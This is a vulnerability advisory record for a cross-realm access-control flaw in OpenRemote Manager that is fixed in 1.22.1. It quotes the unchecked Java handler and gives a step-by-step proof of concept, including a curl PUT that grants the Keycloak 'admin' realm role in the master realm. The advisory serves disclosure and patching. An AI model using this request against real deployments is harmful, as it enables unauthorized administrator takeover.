CVE-2026-41166: Openremote manager OpenRemote Has Improper Access Control Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-49vv-25qx-mg44",
  "modified" : "2026-04-27T16:23:03Z",
  "published" : "2026-04-22T14:38:23Z",
  "aliases" : [ "CVE-2026-41166" ],
  "summary" : "OpenRemote has Improper Access Control via updateUserRealmRoles function",
  "details" : "### Summary\nA user who has `write:admin` in one Keycloak realm can call the Manager API to update **Keycloak realm roles** for users in **another** realm, including **`master`**. The handler uses the `{realm}` path segment when talking to the identity provider but does not check that the caller may administer that realm. This could result in a privilege escalation to `master` realm administrator if the attacker controls any user in `master` realm.\n\n### Details\nIn `manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java`, there is no check to validate if the caller should be able to administer a realm they're trying to update.\n\n```340:353:manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java\n    @Override\n    public void updateUserRealmRoles(RequestParams requestParams, String realm, String userId, String[] roles) {\n        try {\n            identityService.getIdentityProvider().updateUserRealmRoles(\n                realm,\n                userId,\n                roles);\n        } catch (ClientErrorException ex) {\n            ex.printStackTrace(System.out);\n            throw new WebApplicationException(ex.getCause(), ex.getResponse().getStatus());\n        } catch (Exception ex) {\n            throw new WebApplicationException(ex);\n        }\n    }\n```\n\n### PoC\n1. Create a **new** Keycloak realm other than `master`. Add a user and grant that user the OpenRemote client role `write:admin`. Remember the realm name (call it `NEW_REALM`).\n2. In Keycloak realm `master`, pick a **low-privilege** user (no `admin` realm role). Copy that user’s UUID (`<master-user-uuid>`).\n3. Authenticate as the user from step 1 and obtain a Bearer access token (`<token>`) for `NEW_REALM`.\n4. Replace placeholders and run:\n```bash\ncurl -k -X PUT \"https://<host>/api/<NEW_REALM>/user/master/userRealmRoles/<master-user-uuid>\" \\\n  -H \"Authorization: Bearer <token>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '[\"admin\"]'\n```\n5. In the Keycloak Admin Console, realm master, that user, Role mapping. Confirm the admin realm role is assigned.\n### Impact\nAn attacker with the OpenRemote client role write:admin in any realm can call this API with {realm} set to another realm (for example master) and change Keycloak realm roles for users there. That can grant admin on master to a user UUID they target, which gives Keycloak administrator access for the master realm.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "io.openremote:openremote-manager"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.22.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/openremote/openremote/security/advisories/GHSA-49vv-25qx-mg44"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41166"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/openremote/openremote"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/openremote/openremote/releases/tag/1.22.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-284" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-22T14:38:23Z",
    "nvd_published_at" : "2026-04-22T21:17:09Z"
  }
}